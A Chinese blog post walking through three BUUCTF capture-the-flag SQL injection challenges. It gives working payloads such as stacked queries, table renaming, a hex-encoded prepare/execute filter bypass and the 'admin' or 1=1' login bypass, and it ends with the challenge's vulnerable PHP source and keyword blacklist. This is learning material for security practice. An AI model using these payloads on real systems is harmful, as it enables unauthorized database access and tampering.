刷题BUUCTF[强网杯 2019]随便注和极客大挑战babysql和[SUCTF 2019]EasySQL得到的关于SQL注入的启发
先放上SQL注入的一般流程
(1)找数据输入点
(2)判断是否存在注入
(3)判断注入类型
(4)判断列数
(5)找当前数据库
(6)找所有数据库名
(7)找表名
(8)找字段名
(9)获取数据
强网杯随便注
(1)进入界面找到数据输入点,并输入“1”结果如下,url出现末尾“inject=1”暗示可能存在SQL注入

(2)判断是否存在SQL注入。输入:1' or 1=1 #进行验证
存在SQL注入
(3)判断注入类型:使用 and '1'='1或者and '1'='2(字符型)和 and 1=1或者and 1=2(数值型) 两条语句进行判断
说明为字符型SQL注入
(4)尝试用SQL语句去找到回显的位置:0'union select 1,2 and ‘1’=‘1# 或者使用:1’union select 1,2#
发现存在过滤
(5)使用SQL语句去寻找列数:1' order by 1# (因为过滤的语句中没有过滤掉我们的order by语句)
(6) 爆当前数据库的最简单SQL语句:0' union select database()# 因为select被过滤掉了,就不考虑。这个时候思考突破之前语句的限制,使用SQL堆叠注入,拿到此题上来讲堆叠注入就是通过 ;号注入多条SQL语句:
0'; show databases; # //爆当前库
爆库成功:
(6)使用show tables爆表:
0'; show tables; #
爆表成功:
得到两张表:“1919810931114514”和“words”
(7)使用堆叠语句先爆“1919810931114514”表(表名为纯数字,用反引号包起来查询)
0'; show columns from `1919810931114514 `; #

(8)看见诱人的FLAG,干劲十足
解法一:
1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#
上面代码将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id
然后用1’ or 1=1 #得到flag
解法二:
将select * from 1919810931114514进行16进制编码
再通过构造payload
1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值,如下:
复制代码 代码如下:
SELECT @VAR1=‘Y’,@VAR2=‘N’
– 而SET要达到同样的效果,需要:
SET @VAR1=‘Y’
SET @VAR2=‘N’
极客大挑战BABYSQL注入
(1)观察注入点,打开源码留意是否存在过滤
(2)盲猜账号和密码试一试:账号:admin,密码:admin' or 1=1 # (万能密码)
(3)登录成功,拿到FLAG
[SUCTF 2019]EasySQL
(1)观察数据输入口和前端页面,发现没有限制。
(2)由于说了是SQL注入,无需判断是否存在SQL注入
(3)判断注入类型是字符型还是数字型。使用SQL语句: 1 and 1=1 # 和 1 and '1'='1 # 结果如图

没有“SQL语法问题”的相关报错。
(4)直接输入 1 和 1‘ 查看不同

确定为数字型注入
(5)输入1' union select 1# 判断回显位置,发现界面仍然没显示,输入 1' order by 1# 判断列数,界面没有显示。说明SQL数据库存在过滤,考虑堆叠注入
(6)由于是数字型注入。使用 1;show databases;# 进行爆当前库
(千万不用用中文拼音来输入符号)
(7)使用1; show tables; # 进行爆表
(8)FLAG出现,狂喜ing! 输入1; show column from Flag;#进行爆FLAG表中的列,界面显示为

(8)判断SQL注入将"FLAG"或者“column”单词进行过滤
解法一:
*,1
拿到FLAG

解法二:
1;set sql_mode=PIPES_AS_CONCAT;select 1 //实现字符串拼接
成功拿到
赛题源码:
<?php session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); if(!$MysqlLink){ die("Mysql Connect Error!"); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if(!$selectDB){ die("Choose Database Error!"); } foreach ($_POST as $k=>$v){ if(!empty($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ } } //die(); ?> <html> <head> </head> <body> <a> Give me your flag, I will tell you if the flag is right. </ a> <form action="" method="post"> <input type="text" name="query"> <input type="submit"> </form> </body> </html> <?php if(isset($post['query'])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|""; //var_dump(preg_match("/{$BlackList}/is",$post['query'])); if(preg_match("/{$BlackList}/is",$post['query'])){ //echo $post['query']; die("Nonono."); } if(strlen($post['query'])>40){ die("Too long."); } $sql = "select ".$post['query']."||flag from Flag"; mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); } ?>
未亡人

浙公网安备 33010602011771号